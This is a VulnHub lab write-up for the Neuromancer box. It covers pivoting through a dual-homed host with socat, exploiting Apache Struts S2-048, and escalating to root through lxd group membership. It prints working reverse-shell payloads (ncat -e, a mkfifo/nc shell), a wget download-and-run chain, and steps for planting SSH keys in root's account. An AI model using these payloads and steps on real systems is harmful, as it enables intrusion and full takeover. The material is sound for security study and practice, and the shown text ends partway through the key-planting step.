Wintermute Part 2 Neuromancer (Vulnhub Writeup)
This VulnHub writeup is based on Neuromancer - part two of the excellent 'Wintermute 1' challenge, created by creosote
I'll spare you all the detail, but as a quick recap, after having rooted Straylight we find that it is dual-homed - i.e. it is part of a second sub-net. We pick up the action from the 'note.txt' file found after having gained root privs on that box.
If you have already rooted this box a different way and want to see my privesc method, click here. If you are just a bit curious but want to figure it out later, here's a (biggish) clue ...
Note:
This is a deep-dive article. While it is encouraged that you read it from beginning to end, you might wish to work your way through the content over a couple of sessions. To help you pick up from where you left off, use the Quick Locator
.
Quick Locator: Click to view list of phases
Overview
Recon
Struts Exploitation
Privesc Part 1
Privesc Part 2 (the more adventurous container route)
Overview
The contents of note.txt:
root@straylight:~# cat note.txt
cat note.txt
Devs,
Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her
interact w/ the AI via a web-based GUI.
The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access
on the Freeside network. It is within out internal admin network, but still, it should be off the
network completely. For the sake of humanity, user access should only be allowed via the physical
console...who knows what this thing can do.
Anyways, we've deployed the war file on tomcat as ordered - located here:
/struts2_2.3.15.1-showcase
It's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure
this thing.
Regards,
Bob Laugh
Two things stand out … the reference to 'struts' and 'Lady 3Jane' …. Looks like some form of user name. The struts reference is like waving a red flag to a bull ... it is referring to Apache Struts
which has had quite a history of vulnerabilities.
Recon
Step 0: First things first
I need to address my immediate curiosity about struts. A quick search via searchsploit reveals a match - 42324. While this looks to be a good candidate, before we can pursue it any further, we need to find how to get there ... i.e. what ports are open to us and which one is running the given Struts app.
Step 1: Addressing Pivoting Problems
After discovering that you are on a dual-homed machine, the most obvious thing is to either run sshuttle, or do things the hard way with a manual ssh reverse port forward and then use proxychains to run nmap etc. But there is a fly in the ointment here:
netstat -antp | grep LISTEN
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 790/ntopng
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 771/master
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 591/mysqld
tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN 495/redis-server 12
tcp6 0 0 :::80 :::* LISTEN 633/apache2
tcp6 0 0 :::25 :::* LISTEN 771/master
Yup …. SSH isn't running. So ... 'start the service jckhmr', you might ask. Well ... I would have if it had been installed. Technically I could do it, but (a) that's more bother than it's worth and (b) Creosote is trying to push us out of our comfort boundaries somewhat.
Step 2: Finding Neuromancer - Bash to the rescue
The IP address of Straylight within the 'inner' sub-net is 192.168.212.3. It's likely that Neuromancer can be found on 192.168.212.4, but we need to qualify. Since nmap is not installed either on the machine, we can use a bash script to do a simple ping sweep on 192.168.212.0/24 (i.e. just a max of 255 hosts).
cat pingSweep.sh
#!/bin/bash
for ip in $(seq 1 254); do
ping -c 1 192.168.212.$ip | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done
When executed, we get the following output:
root@straylight:/home/tmp# ./pingSweep.sh
./pingSweep.sh
192.168.212.3
192.168.212.4
So ... I was right, it was .4, but it is always better to be sure.
Step 3: What services is Neuromancer running?
Again Bash will help us out. This time we will also use netcat too - if it is there (which nc
), you might as well use it. My only reservation about this type of method is that it could be quite noisy if you are in a Red Team situation - you'll probably trigger an alarm on a Blue Team's dashboard. In those scenarios, you want something where you can really throttle down the frequency of your probing operations. Since this is not a Red Team scenario, we are good to go.
root@straylight:/tmp# for i in $(seq 1 65535); do nc -nvz -w 1 192.168.212.4 $i 2>&1; done | grep -v "refused"
2.4 $i 2>&1; done | grep -v "refused"w 1 192.168.212
(UNKNOWN) [192.168.212.4] 8009 (?) open
(UNKNOWN) [192.168.212.4] 8080 (http-alt) open
(UNKNOWN) [192.168.212.4] 34483 (?) open
So ... three ports open then. We don't know for sure what service is running what TCP port number. Now we do need to do some scanning.
Step 4: Port Forwarding with Socat
Socat is short for 'socket cat'. Think of it as netcat with a large turbo for extra power.
We'll be using it a lot more in this writeup. For now though we want to ensure that we can forward the given port numbers on our first victim (Straylight) to our second victim (Neuromancer). What this means then is that when you make a request to Straylight for TCP 8080, it will automatically be forwarded to the same port on the second victim (Neuromancer).
Why is the above possible? Straylight is straddling two separate sub-nets. While our attacking box can't talk directly to Neuromancer, Straylight can. Think of Straylight as being the friendly receptionist in an office - while you may not be able to talk directly to a given person in the company, you can phone the receptionist to put you through to your friend on extension xyz. A simplified analogy that is ok for now.
Beyond port forwarding, socat can do so many other things, including upgrading limited shells to full TTY versions. I posted a tweet about the subject here - it links to a great article written by @ropnop
Anyhow … let's get our forwarding setup. The general syntax is as follows:
socat TCP-LISTEN:<<Straylight_TCP_PORT>>,fork,reuseaddr TCP:<<Neuromancer_IP_address>>:<<Neuromancer_TCP_PORT>> &
The command sequence looks like the following
root@straylight:/tmp# socat TCP-LISTEN:8009,fork,reuseaddr TCP:192.168.212.4:8009 &
2.4:8009 &LISTEN:8009,fork,reuseaddr TCP:192.168.212
[1] 10406
root@straylight:/tmp# socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.212.4:8080 &
2.4:8080 &LISTEN:8080,fork,reuseaddr TCP:192.168.212
[2] 10416
root@straylight:/tmp# socat TCP-LISTEN:34483,fork,reuseaddr TCP:192.168.212.4:34483 &
12.4:34483 &STEN:34483,fork,reuseaddr TCP:192.168.21
[3] 10428
The ampersand (&) is just standard .nix syntax to run the command and put it to the background, so that you can get on with other stuff. When executed, each command instance will return a process id.
So ... now if we try to contact Straylight (via the 'public' subnet: 192.168.47.4 / 24) on any of the 3 ports, the comms will be forwarded straight through to the same ports running on Neuromancer (via the 'admin' subnet: 192.169.212.4 / 24). Let's try that out with an nmap scan then.
Step 5: Fire up nmap
root@009-klvfi200:~/vulnhub/wintermute/straylight/exploit# nmap -T4 -Pn -n -sT -A -p 8009,8080,34483 192.168.47.4
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-10 17:58 GMT
Nmap scan report for 192.168.47.4
Host is up (0.00079s latency).
PORT STATE SERVICE VERSION
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat 9.0.0.M26
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.0.M26
34483/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:9b:4a:a9:c0:fc:0b:d8:ef:f1:e3:9d:f4:59:25:32 (RSA)
| 256 f6:2a:de:07:36:36:00:e9:b5:5d:2f:aa:03:79:91:d1 (ECDSA)
|_ 256 38:3c:a8:ed:91:ea:ce:1d:0d:0f:ab:51:ac:97:c8:fb (ED25519)
MAC Address: 08:00:27:50:96:D9 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.79 ms 192.168.47.4
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds
A few explanations on the nmap command switches:
- T4 … faster than a normal T3 (default) scan, but less risk of errors/false positives in comparison to a faster T5
- -Pn … avoid ping scan first, we already know it is alive
- -n … no DNS resolution as we are dealing with IP addresses
- -sT … a full connect scan which is useful when you have the aggressive (-A) option specified.
- The IP address. We specified the IP address of Straylight ... not our second victim (Neuromancer). Since we have setup port forwarding from Straylight to Neuromancer, when we hit the former, the port scan automatically goes to the same port on Neuromancer. Neuromancer responds to Straylight, which in turn sends the results back to our attacking box.
Step 6: Analysis of the nmap scan
Apache Jserv running on TCP 8009 - not an immediate priority right now. We'll come back to that if we don't have any luck with 8080 which is running Tomcat, and by extension, is most likely to be running our struts app.
For good measure, we can see that SSH is running on a non-standard port - a delaying tactic to make the job of an attacker a bit more cumbersome.
At this point, the primary goal is to go after the struts app, now that I know the IP address and the port number. If that leads to a dead end, then we can come back to the SSH and Jserv stuff later.
Step 7: Can we see the struts app?
This is an easy one ... just fire up a browser. Given that we are dealing with port forwarding, we'll be specifying the IP address of Straylight.
http://192.168.47.4:8080/struts2_2.3.15.1-showcase/showcase.jsp
And it works:
Struts Exploitation
Step 0: Taking a look at the Struts exploit
If you scroll to the bottom of the exploit code you'll see the following:
# $ ncat -v -l -p 4444 &
# $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"
So ... it involves setting up a listener on our attacking box - standard enough. It also requires a fully qualified URL. More importantly it requires a command for the exploit to execute - in the example above, it is a reverse shell payload, albeit to the same computer.
Step 1: Another Socat port forward
We want a reverse shell being returned from the Neuromancer box (192.168.212.4) to our Kali box (192.168.47.3) with Straylight (192.168.47.4 and 192.168.212.3) being the 'receptionist in the middle' to perform the port forwarding duties, because the attacking box and Neuromancer can't talk directly to each other. Hence socat being brought into service again.
socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.47.3:6666 &
In the above, we basically said that if Straylight is contacted on TCP port 6666 (by Neuromancer in our case), then forward that traffic to TCP port 6666 on our attacking Kali box (192.168.168.47.3).
We can see that Straylight (192.168.212.3 and 192.168.212.3) is listening for traffic on TCP Port 6666.
root@straylight:/tmp# socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.47.3:6666 &
.3:6666 &-LISTEN:6666,fork,reuseaddr TCP:192.168.47.
[4] 12928
root@straylight:/tmp#
root@straylight:/tmp# netstat -antp | grep LISTEN
netstat -antp | grep LISTEN
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 10416/socat
tcp 0 0 0.0.0.0:34483 0.0.0.0:* LISTEN 10428/socat
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 790/ntopng
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 771/master
tcp 0 0 0.0.0.0:8009 0.0.0.0:* LISTEN 10406/socat
tcp 0 0 0.0.0.0:6666 0.0.0.0:* LISTEN 12928/socat
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 591/mysqld
tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN 495/redis-server 12
tcp6 0 0 :::80 :::* LISTEN 633/apache2
tcp6 0 0 :::25 :::* LISTEN 771/master
root@straylight:/tmp#
Step 2: Setting up the listener on TCP 6666 on the Kali Box
Just the usual: nc -nlvp 6666
(make sure the port number corresponds to the socat port forwarding setup).
Step 3: Firing up our exploit
We execute the exploit and nothing seems to have happened:
But ... thinking logically, since we are dealing with Java, it may have a problem with pipes and redirection. So ... just to ensure that the exploit is working, we'll work on a simple listener instead of a full reverse shell at this point. This time our exploit looks like:
python 42324.py http://192.168.47.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc -nv 192.168.212.3 6666"
And when that is executed we get a response:
listening on [any] 6666 ...
connect to [192.168.47.3] from (UNKNOWN) [192.168.47.4] 56234
So … that's (a bit) better - at least by taking a step back and seeing that a basic listener works, we know that the actual exploit is working too. It may seem a little excessive, but it would be too easy to otherwise conclude that the exploit isn't working, only to waste countless hours going down other rabit holes.
Another valid reason for the 'nc reverse shell' not working is that perhaps the version of netcat installed on Neuromancer doesn't support the -e option.
Step 4: Develop an alternative reverse shell
Let's play safe and use a different reverse shell, courtesy of pentestmonkey:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.212.3 6666 >/tmp/f
As a short digression, it appears very recently that
pentestmonkey.net
doesn't seem to be available ... you can still find lots of useful stuff on github. The 'wayback machine' is also very handy too via this link.
The above is put into a file called 'revbash.sh'. Notice that the reverse shell will be sent to the IP address corresponding to Straylight machine. Remember that we have already implemented a port forward from TCP 6666 on Straylight to our attacking box on the same port - both machines are on the 192.168.47.0/24 subnet.
Step 5: Upload the reverse shell.
This one is going to take a bit work. Nothing complicated, but things have to be done in a specific order.
First of all … I'm going to setup ANOTHER port forward from Straylight back to the attacking box to facilitate a wget operation - I want to keep TCP 6666 free for the reverse shell.
root@straylight:/tmp# socat TCP-LISTEN:1234,fork,reuseaddr TCP:192.168.47.3:1234 &
.3:1234 &-LISTEN:1234,fork,reuseaddr TCP:192.168.47.
[5] 23648
root@straylight:/tmp# netstat -antp | grep 1234
netstat -antp | grep 1234
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 23648/socat
root@straylight:/tmp#
That appears to have worked as expected - confirmed via the netstat operation
A python web server is started in the folder where 'revbash.sh' is stored:
root@009-klvfi200:~# python -m SimpleHTTPServer 1234
Serving HTTP on 0.0.0.0 port 1234 ...
Now we can run our struts attack as follows:
python 42324.py http://192.168.47.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.212.3:1234/revbash.sh -O /tmp/revbash.sh"
As you can see we are picking up revbash.sh from what 'appears' to be Straylight, but due to the magic of port forwarding, it is actually resulting in a request being served by our attacking box.
We also need to make it executable, so we run the attack again, but this time with 'chmod +x /tmp/revbash.sh' in the payload:
root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# python 42324.py http://192.168.47.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/revbash.sh"
[*] exploit Apache Struts2 S2-048
[+] command: chmod +x /tmp/revbash.sh
root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit#
We are running blind at this point … we don't REALLY know that it worked … but let's give things a go.
Step 6: Execute the modified Struts attack to gain a reverse shell
Our modified attack string looks like:
python 42324.py http://192.168.47.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/revbash.sh"
After setting up a listener and executing the exploit, we get a shell!:
root@009-klvfi200:~# nc -nlvp 6666
listening on [any] 6666 ...
connect to [192.168.47.3] from (UNKNOWN) [192.168.47.4] 60454
/bin/sh: 0: can't access tty; job control turned off
$
PrivEsc Part 1
Step 0: What do we have?
So … we are in a non-tty session (as expected):
listening on [any] 6666 ...
connect to [192.168.47.3] from (UNKNOWN) [192.168.47.4] 60454
/bin/sh: 0: can't access tty; job control turned off
$ whoami
ta
$ id
uid=1000(ta) gid=1000(ta) groups=1000(ta),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
We can see that 'ta' appears to be an admin, but it will be useless without a TTY session:
ta@neuromancer:/$ groups
groups
ta adm cdrom dip plugdev lxd lpadmin sambashare
Permission denied to /etc/sudoers:
$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
Since we aren't in a TTY terminal, we can't see the output of sudo -l:
$ sudo -l
sudo: no tty present and no askpass program specified
Let's see if python is installed so that we can do the 'pty' trick as kindly made available from NETSEC
ta@neuromancer:/$ which python
which python
Nope …. Not there.
We could install it if we had admin privs …. So not much use to us here:
ta@neuromancer:/$ python
python
The program 'python' can be found in the following packages:
* python-minimal
* python3
Ask your administrator to install one of them
Step 1: We need a proper TTY session
Without a proper TTY session we can't really achieve very much. We have a couple of options
- Use socat to send a reverse shell back to Kali. Socat is very handy for this. See link earlier in this writeup
- Can we SSH into the box, with the ta account? We don't have the password, but perhaps we can generate a set of ssh keys. The ability to ssh in to the box depends on a port being opened (it is … on 34483, and we already have the correct port forwarding in place). Additionally, what is defined in /etc/passwd for that account? It needs to include some sort of shell settings.
- Look for something else. When examining /etc/passwd to determine what type of shell existed for 'ta', there was reference to:
lady3jane:x:1001:1001:3Jane,,,:/home/lady3jane:/bin/bash
.
We HAVE seen that mentioned previously in the 'note.txt' file found in 'Straylight' when we gained root. So ... perhaps there may be creds lying around on the box for that box. Come to think of it, we mind find some creds somewhere else on the box for 'ta' too. One possible line of enquiry is Tomcat … it specifies users in an xml file, which is used to manage the Tomcat facility.
Let's try the latter option first.
Step 2: Gaining a TTY - the reused creds option
Tomcat users are defined in tomcat-users.xml
, so let's see where it is:
ta@neuromancer:/$ locate tomcat-users.xml
locate tomcat-users.xml
/usr/local/tomcat/conf/tomcat-users.xml
ta@neuromancer:/$
When the file is subject to a 'cat' operation, we find the following:
<!--
Eng.,
Tomcat is still using basic auth. I encoded the password so the AI's security scans don't flag it.
Is this what Bob keeps talking about, "Security by obscurity?"
Ed Occam//Sys.Engineer I//Night City
"Harry, I took care of it" - Llyod Christmas
-->
<role rolename="manager-gui"/>
<user username="Lady3Jane" password=">!Xx3JanexX!<" roles="manager-gui"/>
So it appears the password has been encoded. We take that into Burp and when decoded (HTML), we get:
>!Xx3JanexX!<
So …. Let's try and ssh with that. Remember that with the port forwarding in place, it APPEARS that we are ssh'ing to the Straylight box, but we aren't. Regardless …. We have a result!
root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# ssh -p 34483 lady3jane@192.168.47.4
----------------------------------------------------------------
| Neuromancer Secure Remote Access |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police |
----------------------------------------------------------------
lady3jane@192.168.47.4's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
94 packages can be updated.
44 updates are security updates.
Last login: Sat Feb 9 09:09:23 2019 from 192.168.212.3
lady3jane@neuromancer:~$
But unfortunately she is not an admin of any description and doesn't have any sudo capabilities:
lady3jane@neuromancer:~$ sudo -l
[sudo] password for lady3jane:
Sorry, user lady3jane may not run sudo on neuromancer.
lady3jane@neuromancer:~$ groups
lady3jane
lady3jane@neuromancer:~$
Let's try the possibilities for the 'ta' account' given that it mentioned some admin capabilities with the 'group' command
Step 2: Gaining a TTY - The SSH key route for the 'ta' account
The process of generating a set of keys is fairly simple:
- cd into /home/ta
- Run ssh-keygen. I followed all the defaults, but opted to have a passphrase applied. The keys were stored in /home/ta/.ssh
- Add the public key to the /home/ta/.ssh/authorized_keys file
- Cat out the values for id_rsa and id_rsa.pub and then copy/paste them into corresponding files on my attacking box. I also applied
chmod 400
to each of the files, otherwise ssh will complain about permissions and then ignore the keys altogether, which results in an unwanted password prompt (we don't know the password!)
Once the keys were generated and copies put onto my attacking box, access was gained:
root@009-klvfi200:~/vulnhub/wintermute/neuromancer# ssh -i /root/vulnhub/wintermute/neuromancer/id_rsa -p 34483 ta@192.168.47.4
----------------------------------------------------------------
| Neuromancer Secure Remote Access |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police |
----------------------------------------------------------------
Enter passphrase for key '/root/vulnhub/wintermute/neuromancer/id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
94 packages can be updated.
44 updates are security updates.
Last login: Sun Feb 10 15:30:09 2019 from 192.168.212.3
ta@neuromancer:~$
The 'groups' command was run again and then the penny dropped …. 'ta' was not a member of the 'admin' group, so that wasn't going to be an instant path to root:
ta@neuromancer:~$ groups
ta adm cdrom dip plugdev lxd lpadmin sambashare
ta@neuromancer:~$
Moving forward ... there is no real point now in jumping to gaining a TTY with the socat option ... that will be kept for another article! Stay tuned for that.
When attempting to gain root, I generally progress as follows:
- sudo
- password
- file permissions (suid/guid)
- cron jobs (often combined with bad file permissions)
- kernel exploits
- running applications
- the file system.
Generally the further you move down that list, the more difficult privesc becomes. So ... having exhausted the first two options, we need to do some good old-fashioned enumeration.
PriveEsc Part 2
Step 0: Transfer a copy of the LinEnum.sh script
Now that you have got SSH access straight into Neuromancer, you can 'scp' a copy of any enumeration/privesc type scripts.
----------------------------------------------------------------
| Neuromancer Secure Remote Access |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police |
----------------------------------------------------------------
Enter passphrase for key '/root/vulnhub/wintermute/neuromancer/id_rsa':
linenum.sh 100% 43KB 7.5MB/s 00:00
root@009-klvfi200:~#
Step 1: Run the LinEnum.sh script
We make the script executable and then run it
ta@neuromancer:/tmp$ ./linenum.sh -k pass -k PASS -r linEnumNeuromancer -e /tmp -t
Switch explanation:
- -k: keywords - done twice so that it matches upper and lower case instances of strings related to passwords (could be just pass or passwd etc)
- -r the report file name stem
- -e: the folder to output the report to
- -t: perform thorough tests
Once the report is run we can pull it back via scp to the attacking Kali box:
root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# scp -P 34483 -i /root/vulnhub/wintermute/neuromancer/id_rsa ta@192.168.47.4:/tmp/linEnumNeuromancer-11-02-19 /root/vulnhub/wintermute/neuromancer/exploit
----------------------------------------------------------------
| Neuromancer Secure Remote Access |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police |
----------------------------------------------------------------
Enter passphrase for key '/root/vulnhub/wintermute/neuromancer/id_rsa':
linEnumNeuromancer-11-02-19 100% 561KB 8.1MB/s 00:00
Step 2: Analysze the Results
Sudo looks interesting
Sudo version 1.8.16
A quick look on searchsploit provides a match. (25134.c)
root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# searchsploit sudo 1.8
--------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------- ----------------------------------------
Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Pr | exploits/linux/local/37710.txt
Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalati | exploits/linux/local/42183.c
sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY_SOURCE Bypas | exploits/linux/local/25134.c
sudo 1.8.0 < 1.8.3p1 - Format String | exploits/linux/dos/18436.txt
--------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit#
Unfortunately we can't do anything with the given exploit as it relies upon gcc being installed. The compilation must happen on the target too. I might have to come back to that one.
Although we didn't need LinEnum specifically, an easy route to route can be determined just by looking at the Kernel information:
[-] Kernel information:
Linux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# searchsploit Ubuntu 4.4.0
------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------- ----------------------------------------
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free (PoC) | exploits/linux/dos/41457.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Esc | exploits/linux/local/41458.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_ | exploits/linux_x86-64/local/40049.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter targ | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - | exploits/linux/local/43418.c
------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Based on some reading around, 44298.c appears to be a good candidate. But ... there's always a 'but'! :-)
Step 3: Choosing exploit paths to pursue
There are a number of excellent writeups available for this machine and without exception, they all pursue the kernel exploit option, because quite rightly, it is the most obvious choice. If I was in need to root a box quickly in an examine scenario, of course I'd go for the most obvious route.
Apart from the fact that the exploit has to be compiled on the attacking box (Neuromancer doesn't have gcc installed), it is a pretty quick and easy option. But leaving aside anything CTF/OSCP related .... what about the 'real world' where we could be dealing with mission critical production systems. Kernel exploits could take a production box out of service, and we simply wouldn't want to jeopardize our next paycheck!
But there is another way to root this box, and I can't help feeling that perhaps 'creosote' (the machine author) possibly intended it to be another option waiting to be found. While it might attract the attention of a Blue Team, it is not likely to cause a kernel panic. So what am I talking about then? The clue can be found in the following simple command to examine the groups that 'ta' belongs to:
ta@neuromancer:~$ groups
ta adm cdrom dip plugdev lxd lpadmin sambashare
ta@neuromancer:~$
Sitting quietly in plain sight is a reference to lxd
, which is Ubunutu's container technology - an alternative to Docker
. I did some research and found an excellent article by 'Booj' called 'Privilege Escalation vix lxd'. This sounded exactly up my street. According to the article, if lxd is installed and a given user is a member of the lxd group, they have the same powers as if they were added to /etc/sudoers with the following:
admin ALL=NOPASSWD: ALL
So ... it is full steam ahead with this option.
Step 4: Preparing and using the container - an overivew
I'm not going into all the nuts and bolts of EVERY tiny detail associated with creating an
Ubuntu LXC based container
. That will come in a separate article, as it is a fascinating subject that merits a deep dive beyond the scope of this walkthough.
In a nutshell, the work involves the following:
- Setting up a VM which is as near to Neuromancer as possible, based on the information gained. So, that would be Ubuntu 16.04 then.
- Installing lxd on the newly created VM.
- Creating a container - again, based on Ubuntu 16.04. I'm just keeping things simple with my best guess of what should work.
- Exporting that container as a tarball and transferring it to my attacking box, before transferring it to the Neuromancer box. Transfers can be done over scp, thanks to the SOCAT port forwarding implemented earlier.
For clarity ... at NO point did I cheat by allowing my attacking box to be on the same physical subnet as Neuromancer. It all had to be done the 'hard' way. How else was I supposed to learn?
- Importing the lxd container image tarball and enabling it to mount the host file system (yes, Neuromancer!)
- Getting a root bash session on the newly created container and creating a set of SSH keys that will be written to /root/.ssh on Neuromancer (via /mnt/root/root/.ssh in the container), along with adding the public key to /root/.ssh/authorized_keys on the Neuromancer host (via /mnt/root/root/.ssh in the container)
- Transferring a copy of the SSH keys to my attacking Kali box and then logging in as root (hopefully).
The above is ambitious, but it is worth it, especially if the only alternative is a risky kernel exploit. In the interests of brevity, we'll focus at the point where we have just transferred the container tarball onto the Neuromancer host. Get strapped in and enjoy the ride! :-)
Step 5 - Import the Container Image.
The first thing to note is the naming convention used by lxc to automatically name a tarball:
ta@neuromancer:~$ ls
74a96af4de4afbf6ecbfa91bf4e8eb9a74190af72a0a6828081df2c78e8d07c9.tar.gz myWebApp
ai-gui-guide.txt velocity.log
ta@neuromancer:~$
To import the container image, use the following:
lxc image import 74a96af4de4afbf6ecbfa91bf4e8eb9a74190af72a0a6828081df2c78e8d07c9.tar.gz --alias haxor
The 'alias' is a handy way of referring to a container image instead of the long winded filename (which is actually a 'fingerprint' according to lxc):
ta@neuromancer:~$ lxc image list
+-------+--------------+--------+------------------------------------+--------+----------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+--------------+--------+------------------------------------+--------+----------+------------------------------+
| haxor | 74a96af4de4a | no | Ubuntu 16.04 LTS server (20190212) | x86_64 | 196.49MB | Feb 13, 2019 at 9:28pm (UTC) |
+-------+--------------+--------+------------------------------------+--------+----------+------------------------------+
ta@neuromancer:~$
Next, you have to create an actual container
, based on the imported container image
:
ta@neuromancer:~$ lxc init haxor -c security.privileged=true
Creating the container
Container name is: renewing-ghost
ta@neuromancer:~$ lxc list
+----------------+---------+------+------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+----------------+---------+------+------+------------+-----------+
| popular-zebra | RUNNING | | | PERSISTENT | 0 |
+----------------+---------+------+------+------------+-----------+
| renewing-ghost | STOPPED | | | PERSISTENT | 0 |
+----------------+---------+------+------+------------+-----------+
ta@neuromancer:~$
Note that the container name is automatically assigned. I didn't specify that. Nice touch of humor though from the Ubuntu lxc dev crew. Although Booj's article has all the detail you need, the -c switch options effectively gives you the requisite Yoda powers over the entire host file system.
Next, you need to specify the disk mounting options for the new container ('renewing-ghost'):
ta@neuromancer:~$ lxc config device add renewing-ghost whatever disk source=/ path=/mnt/root recursive=true
Device whatever added to renewing-ghost
ta@neuromancer:~$
As you can see, we are mounting the root of the host filesystem (Neuromancer) and giving the mount a name ('whatever').
Now we can start the container and then enter a bash session with the following commands:
ta@neuromancer:~$ lxc exec renewing-ghost bash
root@renewing-ghost:~#
Step 6 - Prove that we root access to the Neuromancer file system
We cd into /mnt/root on the container:
ta@neuromancer:~$ lxc exec renewing-ghost bash
root@renewing-ghost:~# cd /mnt/root
root@renewing-ghost:/mnt/root# ls
bin dev home lib lost+found mnt proc run snap sys usr vmlinuz
boot etc initrd.img lib64 media opt root sbin srv tmp var
root@renewing-ghost:/mnt/root#
You are really looking at the root of the host machine (Neuromancer) file system. We can now easily cd into 'root' and we see the important 'flag.txt' file.
root@renewing-ghost:/mnt/root# cd root
root@renewing-ghost:/mnt/root/root# ls
flag.txt struts2 this.log velocity.log
root@renewing-ghost:/mnt/root/root# cat flag.txt
be3306f431dae5ebc93eebb291f4914a
root@renewing-ghost:/mnt/root/root#
But we are not done yet. For the plan to work, we need to be able to write to root (i.e. /mnt/root/root):
root@renewing-ghost:/mnt/root/root# echo hello_from_renewing_ghost > hello.txt
And
root@renewing-ghost:/mnt/root/root# cat hello.txt
hello_from_renewing_ghost
root@renewing-ghost:/mnt/root/root#
Yes …. It works! So ... now we just need to get a root shell.
Step 7: SSH Key generation
Now that we have write access, we need to generate a set of ssh keys. While still in your container bash session (renewing-ghost
), the process involves:
- Running ssh-keygen. Pick whatever options you like, but ensure the files get saved to /mnt/root/root/.ssh
- Create an authorized_keys file
touch /mnt/root/root/.ssh/authorized_keys
- cat the contents of the newly created public key to the authorized keys file:
cat /mnt/root/root/.ssh/id_rsa.pub >> authorized_keys
The contents of /mnt/root/root/.ssh should now look like:
root@renewing-ghost:/mnt/root/root# ls -lah .ssh
total 24K
drwx------ 2 root root 4.0K Feb 13 21:35 .
drwx------ 8 root root 4.0K Feb 16 21:35 ..
